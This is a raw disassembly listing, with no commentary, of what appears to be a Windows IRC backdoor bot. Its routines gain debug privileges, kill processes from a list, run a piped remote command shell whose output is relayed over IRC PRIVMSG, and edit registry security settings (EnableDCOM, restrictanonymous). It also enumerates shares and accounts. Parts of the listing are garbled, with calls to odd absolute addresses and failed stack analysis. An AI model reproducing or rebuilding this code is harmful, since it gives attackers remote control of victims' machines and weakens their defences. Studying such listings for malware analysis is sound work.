		cmp	dword_4CAF94, ebx
		lea	edi, [ebp+var_12C]
		mov	[ebp+var_130], ebx
		rep stosd
		mov	ecx, 88h
		lea	edi, [ebp+var_350]
		mov	[ebp+var_354], ebx
		rep stosd
		jz	loc_4198BB
		cmp	dword_4CAF78, ebx
		jz	loc_4198BB
		cmp	dword_4CAE88, ebx
		jz	loc_4198BB
		push	1
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_419651
		pop	ecx
		pop	ecx
		push	ebx
		push	0Fh
		call	dword_4CAF94
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_8], edi
		jz	loc_4198AE
		lea	eax, [ebp+var_130]
		mov	[ebp+var_130], 128h
		push	eax
		push	edi
		call	dword_4CAF78
		mov	esi, dword_427068
		test	eax, eax
		jz	loc_4198A9
		lea	eax, [ebp+var_130]
		push	eax
		push	edi
		call	dword_4CAE88
		test	eax, eax
		jz	loc_4198A9
		mov	edi, dword_427084
		mov	ebx, 1F0FFFh


loc_419780:				; CODE XREF: sub_4196BC+1E5j
		xor	eax, eax
		cmp	[ebp+arg_10], eax
		jz	short loc_4197E7
		mov	[ebp+var_4], offset off_4396C8


loc_41978E:				; CODE XREF: sub_4196BC+F3j
		mov	eax, [ebp+var_4]
		push	dword ptr [eax]
		lea	eax, [ebp+var_10C]
		push	eax
		nop
		call	near ptr 2820000h
		test	eax, eax
		jz	short loc_4197B6
		add	[ebp+var_4], 4
		cmp	[ebp+var_4], offset dword_439728
		jb	short loc_41978E
		jmp	loc_41988F
; ---------------------------------------------------------------------------


loc_4197B6:				; CODE XREF: sub_4196BC+E6j
		push	[ebp+var_128]
		push	0
		push	ebx
		call	edi
		test	eax, eax
		mov	[ebp+var_4], eax
		jz	loc_41988F
		push	0
		push	eax
		nop
		call	near ptr 26F0B1Dh
		test	eax, eax
		jnz	loc_41988F


loc_4197DD:				; CODE XREF: sub_4196BC+1B9j
		push	[ebp+var_4]
		call	esi
		jmp	loc_41988F
; ---------------------------------------------------------------------------


loc_4197E7:				; CODE XREF: sub_4196BC+C9j
		cmp	[ebp+arg_C], eax
		jnz	loc_41987A
		cmp	[ebp+arg_4], eax
		jz	loc_41988F
		push	[ebp+var_128]
		push	8
		call	dword_4CAF94
		cmp	[ebp+arg_14], 0
		mov	[ebp+var_4], eax
		mov	[ebp+var_354], 224h
		jz	short loc_41983A
		lea	ecx, [ebp+var_354]
		push	ecx
		push	eax
		call	dword_4CAE34
		push	[ebp+var_128]
		test	eax, eax
		jz	short loc_419840
		lea	eax, [ebp+var_234]
		jmp	short loc_419846
; ---------------------------------------------------------------------------


loc_41983A:				; CODE XREF: sub_4196BC+15Cj
		push	[ebp+var_128]


loc_419840:				; CODE XREF: sub_4196BC+174j
		lea	eax, [ebp+var_10C]


loc_419846:				; CODE XREF: sub_4196BC+17Cj
		push	eax
		lea	eax, [ebp+var_554]
		push	offset aSD_0	; " %s (%d)"
		push	eax
		call	sub_41B886
		add	esp, 10h
		lea	eax, [ebp+var_554]
		push	1
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 14h
		jmp	loc_4197DD
; ---------------------------------------------------------------------------


loc_41987A:				; CODE XREF: sub_4196BC+12Ej
		push	[ebp+arg_C]
		lea	eax, [ebp+var_10C]
		push	eax
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4198C2


loc_41988F:				; CODE XREF: sub_4196BC+F5j
					; sub_4196BC+10Aj ...
		lea	eax, [ebp+var_130]
		push	eax
		push	[ebp+var_8]
		call	dword_4CAE88
		test	eax, eax
		jnz	loc_419780
		xor	ebx, ebx


loc_4198A9:				; CODE XREF: sub_4196BC+9Dj
					; sub_4196BC+B3j
		push	[ebp+var_8]
		call	esi


loc_4198AE:				; CODE XREF: sub_4196BC+77j
		push	ebx
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_419651
		pop	ecx
		pop	ecx


loc_4198BB:				; CODE XREF: sub_4196BC+3Aj
					; sub_4196BC+46j ...
		xor	eax, eax


loc_4198BD:				; CODE XREF: sub_4196BC+22Dj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_4198C2:				; CODE XREF: sub_4196BC+1D1j
		push	[ebp+var_128]
		push	0
		push	ebx
		call	edi
		push	[ebp+var_8]
		mov	edi, eax
		call	esi
		push	0
		push	edi
		call	near ptr 26F0B1Dh
		nop
		test	eax, eax
		jnz	short loc_4198E6
		push	edi
		call	esi
		jmp	short loc_4198BB
; ---------------------------------------------------------------------------


loc_4198E6:				; CODE XREF: sub_4196BC+223j
		push	1
		pop	eax
		jmp	short loc_4198BD
sub_4196BC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4198EB	proc near		; DATA XREF: sub_401ACD+26CDo

var_298		= byte ptr -298h
var_98		= dword	ptr -98h
var_94		= byte ptr -94h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 298h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	26h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_98]
		push	offset unk_4398C8
		rep movsd
		mov	dword ptr [eax+94h], 1
		lea	eax, [ebp+var_298]
		push	eax
		call	sub_41B886
		xor	esi, esi
		pop	ecx
		cmp	[ebp+var_8], esi
		pop	ecx
		jnz	short loc_41994A
		push	esi
		lea	eax, [ebp+var_298]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		push	[ebp+var_98]
		call	sub_409A72
		add	esp, 14h


loc_41994A:				; CODE XREF: sub_4198EB+3Dj
		push	[ebp+var_10]
		lea	eax, [ebp+var_94]
		push	esi
		push	esi
		push	[ebp+var_C]
		push	eax
		push	[ebp+var_98]
		call	sub_4196BC
		add	esp, 18h
		test	eax, eax
		jnz	short loc_419972
		push	offset unk_4398A4
		jmp	short loc_419977
; ---------------------------------------------------------------------------


loc_419972:				; CODE XREF: sub_4198EB+7Ej
		push	offset unk_439880


loc_419977:				; CODE XREF: sub_4198EB+85j
		lea	eax, [ebp+var_298]
		push	eax
		call	sub_41B886
		cmp	[ebp+var_8], esi
		pop	ecx
		pop	ecx
		jnz	short loc_4199AA
		push	esi
		lea	eax, [ebp+var_298]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		push	[ebp+var_98]
		call	sub_409A72
		add	esp, 14h


loc_4199AA:				; CODE XREF: sub_4198EB+9Dj
		lea	eax, [ebp+var_298]
		push	eax
		call	sub_4151AC
		push	[ebp+var_14]
		call	sub_40B412
		pop	ecx
		pop	ecx
		push	esi
		nop
		call	near ptr 26D0000h
		pop	edi
		pop	esi
sub_4198EB	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4199C9	proc near		; CODE XREF: sub_401ACD+78B3p
					; sub_40B231+53p

arg_0		= dword	ptr  4

		push	esi
		push	edi
		push	1
		pop	edi
		push	[esp+8+arg_0]
		push	0
		push	1F0FFFh
		nop
		call	near ptr 2670358h
		mov	esi, eax
		test	esi, esi
		jz	short loc_4199FB
		push	0
		push	esi
		nop
		call	near ptr 26F0B1Dh
		test	eax, eax
		jnz	short loc_4199FB
		push	esi
		xor	edi, edi
		nop
		call	near ptr 26507ADh


loc_4199FB:				; CODE XREF: sub_4199C9+1Aj
					; sub_4199C9+27j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_4199C9	endp

; ---------------------------------------------------------------------------
dword_419A00	dd 6AF63356h, 56565601h, 0ADE85656h, 83FFFFFCh,	35FF18C4h
					; DATA XREF: ___:004015EEo
		dd 4396C4h, 24750EE8h, 0E3EB9002h

; =============== S U B	R O U T	I N E =======================================



sub_419A20	proc near		; CODE XREF: sub_419A50+2Ap
					; sub_419A88+7Ep ...
		mov	eax, dword_4DB1F8
		push	esi
		mov	esi, dword_427068
		cmp	eax, 0FFFFFFFFh
		jz	short loc_419A34
		push	eax
		call	esi


loc_419A34:				; CODE XREF: sub_419A20+Fj
		mov	eax, dword_4DB200
		cmp	eax, 0FFFFFFFFh
		jz	short loc_419A41
		push	eax
		call	esi


loc_419A41:				; CODE XREF: sub_419A20+1Cj
		mov	eax, dword_4DB1F4
		cmp	eax, 0FFFFFFFFh
		jz	short loc_419A4E
		push	eax
		call	esi


loc_419A4E:				; CODE XREF: sub_419A20+29j
		pop	esi
		retn
sub_419A20	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419A50	proc near		; CODE XREF: sub_401ACD+7604p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	[ebp+arg_0]
		call	sub_41AFE0
		pop	ecx
		mov	[ebp+var_4], eax
		lea	ecx, [ebp+var_4]
		push	0
		push	ecx
		push	eax
		push	[ebp+arg_0]
		push	dword_4DB1FC
		call	near ptr 26E0000h
		nop
		test	eax, eax
		jnz	short loc_419A83
		call	sub_419A20
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_419A83:				; CODE XREF: sub_419A50+28j
		push	1
		pop	eax
		leave
		retn
sub_419A50	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419A88	proc near		; CODE XREF: sub_419B0F+D3p
					; sub_419B0F+F2p ...

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	offset dword_43D128
		push	[ebp+arg_4]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_419ACB
		push	7D0h
		call	near ptr 2660F2Bh
		nop
		push	[ebp+arg_8]
		lea	eax, [ebp+var_200]
		push	[ebp+arg_4]
		push	offset aPrivmsgSS ; "PRIVMSG %s	:%s\r"
		push	eax
		call	sub_41B886
		add	esp, 10h
		jmp	short loc_419AE2
; ---------------------------------------------------------------------------


loc_419ACB:				; CODE XREF: sub_419A88+1Aj
		push	[ebp+arg_8]
		lea	eax, [ebp+var_200]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_41B886
		add	esp, 0Ch


loc_419AE2:				; CODE XREF: sub_419A88+41j
		lea	eax, [ebp+var_200]
		push	0
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	dword_4CAFC4
		test	eax, eax
		jg	short loc_419B0B
		call	sub_419A20


loc_419B0B:				; CODE XREF: sub_419A88+7Cj
		xor	eax, eax
		leave
		retn
sub_419A88	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419B0F	proc near		; DATA XREF: sub_419C64+170o

var_20C		= byte ptr -20Ch
var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 20Ch
		push	ebx
		push	esi
		push	edi
		mov	esi, 200h
		xor	edi, edi
		mov	ebx, offset dword_4DB204


loc_419B27:				; CODE XREF: sub_419B0F+79j
					; sub_419B0F+DBj
		push	esi
		lea	eax, [ebp+var_20C]
		push	edi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_4]
		push	edi
		push	edi
		push	eax
		lea	eax, [ebp+var_20C]
		push	esi
		push	eax
		push	dword_4DB1F8
		call	near ptr 2820910h
		nop
		test	eax, eax
		jz	loc_419BF5
		cmp	[ebp+var_4], edi
		jnz	short loc_419B8A
		lea	eax, [ebp+var_8]
		push	eax
		push	dword_4DB1F4
		call	near ptr 2820497h
		nop
		test	eax, eax
		jz	short loc_419B80
		cmp	[ebp+var_8], 103h
		jnz	loc_419C19


loc_419B80:				; CODE XREF: sub_419B0F+62j
		push	0Ah
		nop
		call	near ptr 2660F2Bh
		jmp	short loc_419B27
; ---------------------------------------------------------------------------


loc_419B8A:				; CODE XREF: sub_419B0F+4Ej
		xor	eax, eax
		cmp	[ebp+var_4], edi
		jbe	short loc_419BA1


loc_419B91:				; CODE XREF: sub_419B0F+90j
		cmp	[ebp+eax+var_20C], 0Ah
		jz	short loc_419BEF
		inc	eax
		cmp	eax, [ebp+var_4]
		jb	short loc_419B91


loc_419BA1:				; CODE XREF: sub_419B0F+80j
		mov	[ebp+var_4], esi


loc_419BA4:				; CODE XREF: sub_419B0F+E4j
		push	esi
		lea	eax, [ebp+var_20C]
		push	edi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_C]
		push	edi
		push	eax
		push	[ebp+var_4]
		lea	eax, [ebp+var_20C]
		push	eax
		push	dword_4DB1F8
		nop
		call	near ptr 26F0000h
		test	eax, eax
		jz	short loc_419C41
		lea	eax, [ebp+var_20C]
		push	eax
		push	ebx
		push	dword_4DB238
		call	sub_419A88
		add	esp, 0Ch
		jmp	loc_419B27
; ---------------------------------------------------------------------------


loc_419BEF:				; CODE XREF: sub_419B0F+8Aj
		inc	eax
		mov	[ebp+var_4], eax
		jmp	short loc_419BA4
; ---------------------------------------------------------------------------


loc_419BF5:				; CODE XREF: sub_419B0F+45j
		push	offset unk_439950
		push	ebx
		push	dword_4DB238
		call	sub_419A88
		push	[ebp+arg_0]
		call	sub_40B412
		add	esp, 10h
		push	1
		call	near ptr 26D0000h
		nop


loc_419C19:				; CODE XREF: sub_419B0F+6Bj
		call	sub_419A20
		push	offset unk_439928
		push	ebx
		push	dword_4DB238
		call	sub_419A88
		push	[ebp+arg_0]
		call	sub_40B412
		add	esp, 10h
		push	edi
		call	near ptr 26D0000h
		nop


loc_419C41:				; CODE XREF: sub_419B0F+C3j
		push	offset unk_4398F8
		push	ebx
		push	dword_4DB238
		call	sub_419A88
		push	[ebp+arg_0]
		call	sub_40B412
		add	esp, 10h
		push	edi
		nop
		call	near ptr 26D0000h
sub_419B0F	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419C64	proc near		; CODE XREF: sub_401ACD+2507p

var_378		= byte ptr -378h
var_178		= byte ptr -178h
var_74		= dword	ptr -74h
var_48		= dword	ptr -48h
var_44		= word ptr -44h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= byte ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 378h
		push	ebx
		push	esi
		push	edi
		call	sub_419A20
		xor	esi, esi
		lea	eax, [ebp+var_178]
		push	esi
		push	eax
		push	104h
		push	esi
		push	offset dword_433514
		push	esi
		call	dword_4CB030
		test	eax, eax
		jz	loc_419D5E
		push	1
		lea	eax, [ebp+var_1C]
		pop	ebx
		mov	edi, dword_4270FC
		push	esi
		push	eax
		lea	eax, [ebp+var_C]
		mov	[ebp+var_1C], 0Ch
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		mov	[ebp+var_14], ebx
		mov	[ebp+var_18], esi
		call	edi
		test	eax, eax
		jz	loc_419D5E
		lea	eax, [ebp+var_1C]
		push	esi
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		call	edi
		test	eax, eax
		jz	loc_419D5E
		mov	edi, dword_4270F8
		push	3
		push	esi
		push	esi
		push	offset dword_4DB1FC
		call	edi
		push	eax
		push	[ebp+var_8]
		call	edi
		push	eax
		nop
		call	near ptr 2700000h
		test	eax, eax
		jz	short loc_419D5E
		push	10h
		lea	eax, [ebp+var_2C]
		push	esi
		push	eax
		call	sub_41B590
		push	44h
		lea	eax, [ebp+var_74]
		pop	edi
		push	edi
		push	esi
		push	eax
		call	sub_41B590
		mov	eax, [ebp+var_4]
		add	esp, 18h
		mov	[ebp+var_3C], eax
		mov	eax, [ebp+var_C]
		mov	[ebp+var_38], eax
		mov	[ebp+var_34], eax
		lea	eax, [ebp+var_2C]
		mov	[ebp+var_74], edi
		push	eax
		lea	eax, [ebp+var_74]
		push	eax
		push	esi
		push	esi
		push	esi
		push	ebx
		push	esi
		mov	ebx, offset dword_43D128
		push	esi
		lea	eax, [ebp+var_178]
		push	ebx
		push	eax
		mov	[ebp+var_48], 101h
		mov	[ebp+var_44], si
		nop
		call	near ptr 2650A41h
		test	eax, eax
		jnz	short loc_419D66


loc_419D5E:				; CODE XREF: sub_419C64+2Fj
					; sub_419C64+5Cj ...
		or	eax, 0FFFFFFFFh
		jmp	loc_419E14
; ---------------------------------------------------------------------------


loc_419D66:				; CODE XREF: sub_419C64+F8j
		push	[ebp+var_4]
		mov	edi, dword_427068
		call	edi
		mov	eax, [ebp+var_10]
		push	[ebp+var_28]
		mov	dword_4DB1F8, eax
		mov	eax, [ebp+var_8]
		mov	dword_4DB200, eax
		mov	eax, [ebp+var_2C]
		mov	dword_4DB1F4, eax
		call	edi
		mov	eax, [ebp+arg_0]
		cmp	[ebp+arg_4], esi
		mov	dword_4DB238, eax
		jz	short loc_419DA0
		push	[ebp+arg_4]
		jmp	short loc_419DA1
; ---------------------------------------------------------------------------


loc_419DA0:				; CODE XREF: sub_419C64+135j
		push	ebx


loc_419DA1:				; CODE XREF: sub_419C64+13Aj
		push	offset dword_4DB204
		call	sub_41B886
		pop	ecx
		pop	ecx
		push	esi
		push	0Ah
		push	offset unk_4399B4
		call	sub_40B0F6
		mov	edi, eax
		mov	ecx, [ebp+var_24]
		imul	edi, 234h
		add	esp, 0Ch
		mov	dword_43DEB8[edi], ecx
		lea	ecx, [ebp+var_30]
		push	ecx
		push	esi
		push	eax
		push	offset sub_419B0F
		push	esi
		push	esi
		call	near ptr 2670000h
		nop
		cmp	eax, esi
		mov	dword_43DEC4[edi], eax
		jnz	short loc_419E12
		nop
		call	near ptr 26709FBh
		push	eax
		lea	eax, [ebp+var_378]
		push	offset unk_439980
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_378]
		push	eax
		call	sub_4151AC
		add	esp, 10h


loc_419E12:				; CODE XREF: sub_419C64+185j
		xor	eax, eax


loc_419E14:				; CODE XREF: sub_419C64+FDj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_419C64	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419E19	proc near		; DATA XREF: sub_401ACD+2E0Bo

var_98		= dword	ptr -98h
var_94		= byte ptr -94h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 98h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	26h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_98]
		rep movsd
		pop	edi
		pop	esi
		push	[ebp+var_8]
		cmp	[ebp+var_10], 0
		mov	dword ptr [eax+94h], 1
		lea	eax, [ebp+var_94]
		push	[ebp+var_C]
		push	eax
		push	[ebp+var_98]
		jz	short loc_419E60
		call	sub_419E79
		jmp	short loc_419E65
; ---------------------------------------------------------------------------


loc_419E60:				; CODE XREF: sub_419E19+3Ej
		call	sub_41A19D


loc_419E65:				; CODE XREF: sub_419E19+45j
		add	esp, 10h
		push	[ebp+var_14]
		call	sub_40B412
		pop	ecx
		push	0
		call	near ptr 26D0000h
		nop
sub_419E19	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419E79	proc near		; CODE XREF: sub_419E19+40p

var_214		= byte ptr -214h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 214h
		push	esi
		push	edi
		xor	edi, edi
		cmp	dword_4CB044, edi
		jnz	loc_419FAB
		lea	eax, [ebp+var_4]
		mov	esi, 80000002h
		push	eax
		push	2001Fh
		push	edi
		push	offset aSoftwareMicros ; "Software\\Microsoft\\OLE"
		push	esi
		call	dword_4CAFE4
		test	eax, eax
		jnz	short loc_419F04
		mov	ax, word_43872C
		mov	word ptr [ebp+var_8+2],	ax
		lea	eax, [ebp+var_8+2]
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_8+2]
		push	eax
		push	1
		push	edi
		push	offset aEnabledcom ; "EnableDCOM"
		push	[ebp+var_4]
		call	dword_4CAF98
		test	eax, eax
		jz	short loc_419EE6
		push	offset dword_439C50
		jmp	short loc_419EEB
; ---------------------------------------------------------------------------


loc_419EE6:				; CODE XREF: sub_419E79+64j
		push	offset dword_439C30


loc_419EEB:				; CODE XREF: sub_419E79+6Bj
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_4CAF50
		jmp	short loc_419F17
; ---------------------------------------------------------------------------


loc_419F04:				; CODE XREF: sub_419E79+36j
		lea	eax, [ebp+var_214]
		push	offset dword_439C00
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_419F17:				; CODE XREF: sub_419E79+89j
		cmp	[ebp+arg_C], edi
		jnz	short loc_419F36
		push	1
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 14h


loc_419F36:				; CODE XREF: sub_419E79+A1j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_4151AC
		pop	ecx
		lea	eax, [ebp+var_4]
		push	eax
		push	0F003Fh
		push	edi
		push	offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa"
		push	esi
		call	dword_4CAFE4
		test	eax, eax
		jnz	short loc_419FA4
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		push	4
		push	edi
		push	offset aRestrictanonym ; "restrictanonymous"
		push	[ebp+var_4]
		mov	[ebp+var_8], 1
		call	dword_4CAF98
		test	eax, eax
		jz	short loc_419F86
		push	offset dword_439BB0
		jmp	short loc_419F8B
; ---------------------------------------------------------------------------


loc_419F86:				; CODE XREF: sub_419E79+104j
		push	offset dword_439B7C


loc_419F8B:				; CODE XREF: sub_419E79+10Bj
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_4CAF50
		jmp	short loc_419FBE
; ---------------------------------------------------------------------------


loc_419FA4:				; CODE XREF: sub_419E79+E2j
		push	offset dword_439B40
		jmp	short loc_419FB0
; ---------------------------------------------------------------------------


loc_419FAB:				; CODE XREF: sub_419E79+13j
		push	offset dword_439B10


loc_419FB0:				; CODE XREF: sub_419E79+130j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_419FBE:				; CODE XREF: sub_419E79+129j
		cmp	[ebp+arg_C], edi
		jnz	short loc_419FDD
		push	1
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 14h


loc_419FDD:				; CODE XREF: sub_419E79+148j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_4151AC
		cmp	dword_4CB06C, edi
		pop	ecx
		jnz	loc_41A158
		push	ebx
		mov	[ebp+var_4], edi
		mov	[ebp+var_14], edi
		mov	[ebp+var_C], edi


loc_41A000:				; CODE XREF: sub_419E79+2C3j
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_8]
		push	0FFFFFFFFh
		push	eax
		push	1F6h
		push	edi
		call	dword_4CAEB8
		cmp	eax, edi
		mov	[ebp+var_10], eax
		jz	short loc_41A09D
		cmp	eax, 0EAh
		jz	short loc_41A09D
		mov	esi, offset off_4399D8


loc_41A031:				; CODE XREF: sub_419E79+21Dj
		push	dword ptr [esi]
		push	edi
		call	sub_418C6B
		pop	ecx
		pop	ecx
		push	dword ptr [esi]
		test	eax, eax
		jnz	short loc_41A048
		push	offset dword_439AEC
		jmp	short loc_41A04D
; ---------------------------------------------------------------------------


loc_41A048:				; CODE XREF: sub_419E79+1C6j
		push	offset dword_439AC0


loc_41A04D:				; CODE XREF: sub_419E79+1CDj
		lea	eax, [ebp+var_214]
		push	200h
		push	eax
		call	sub_41B980
		add	esp, 10h
		cmp	[ebp+arg_C], edi
		jnz	short loc_41A080
		push	1
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 14h


loc_41A080:				; CODE XREF: sub_419E79+1EBj
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_4151AC
		add	esi, 8
		pop	ecx
		cmp	esi, offset dword_4399F8
		jb	short loc_41A031
		jmp	loc_41A135
; ---------------------------------------------------------------------------


loc_41A09D:				; CODE XREF: sub_419E79+1AAj
					; sub_419E79+1B1j
		mov	esi, [ebp+var_8]
		push	1
		pop	ebx
		cmp	[ebp+var_4], ebx
		jb	loc_41A12C


loc_41A0AC:				; CODE XREF: sub_419E79+2AFj
		mov	edi, [esi]
		push	edi
		call	sub_41D817
		cmp	word ptr [edi+eax*2-2],	24h
		pop	ecx
		jnz	short loc_41A121
		push	edi
		call	sub_418B58
		push	eax
		push	0
		call	sub_418C6B
		add	esp, 0Ch
		push	dword ptr [esi]
		test	eax, eax
		jnz	short loc_41A0DB
		push	offset dword_439A9C
		jmp	short loc_41A0E0
; ---------------------------------------------------------------------------


loc_41A0DB:				; CODE XREF: sub_419E79+259j
		push	offset dword_439A70


loc_41A0E0:				; CODE XREF: sub_419E79+260j
		lea	eax, [ebp+var_214]
		push	200h
		push	eax
		call	sub_41B980
		add	esp, 10h
		cmp	[ebp+arg_C], 0
		jnz	short loc_41A114
		push	1
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 14h


loc_41A114:				; CODE XREF: sub_419E79+27Fj
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_4151AC
		pop	ecx


loc_41A121:				; CODE XREF: sub_419E79+242j
		add	esi, 28h
		inc	ebx
		cmp	ebx, [ebp+var_4]
		jbe	short loc_41A0AC
		xor	edi, edi


loc_41A12C:				; CODE XREF: sub_419E79+22Dj
		push	[ebp+var_8]
		call	dword_4CB004


loc_41A135:				; CODE XREF: sub_419E79+21Fj
		cmp	[ebp+var_10], 0EAh
		jz	loc_41A000
		lea	eax, [ebp+var_214]
		push	offset dword_439A48
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		pop	ebx
		jmp	short loc_41A16B
; ---------------------------------------------------------------------------


loc_41A158:				; CODE XREF: sub_419E79+177j
		lea	eax, [ebp+var_214]
		push	offset dword_439A18
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_41A16B:				; CODE XREF: sub_419E79+2DDj
		cmp	[ebp+arg_C], edi
		jnz	short loc_41A189
		push	edi
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 14h


loc_41A189:				; CODE XREF: sub_419E79+2F5j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_4151AC
		pop	ecx
		push	1
		pop	eax
		pop	edi
		pop	esi
		leave
		retn
sub_419E79	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A19D	proc near		; CODE XREF: sub_419E19:loc_419E60p

var_220		= byte ptr -220h
var_20		= byte ptr -20h
var_14		= byte ptr -14h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 220h
		push	ebx
		xor	ebx, ebx
		cmp	dword_4CB044, ebx
		push	esi
		jnz	loc_41A2CB
		lea	eax, [ebp+var_4]
		mov	esi, 80000002h
		push	eax
		push	2001Fh
		push	ebx
		push	offset aSoftwareMicros ; "Software\\Microsoft\\OLE"
		push	esi
		call	dword_4CAFE4
		test	eax, eax
		jnz	short loc_41A228
		mov	ax, word_438770
		mov	word ptr [ebp+var_8+2],	ax
		lea	eax, [ebp+var_8+2]
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_8+2]
		push	eax
		push	1
		push	ebx
		push	offset aEnabledcom ; "EnableDCOM"
		push	[ebp+var_4]
		call	dword_4CAF98
		test	eax, eax
		jz	short loc_41A20A
		push	offset dword_439DC8
		jmp	short loc_41A20F
; ---------------------------------------------------------------------------


loc_41A20A:				; CODE XREF: sub_41A19D+64j
		push	offset dword_439DAC


loc_41A20F:				; CODE XREF: sub_41A19D+6Bj
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_4CAF50
		jmp	short loc_41A23B
; ---------------------------------------------------------------------------


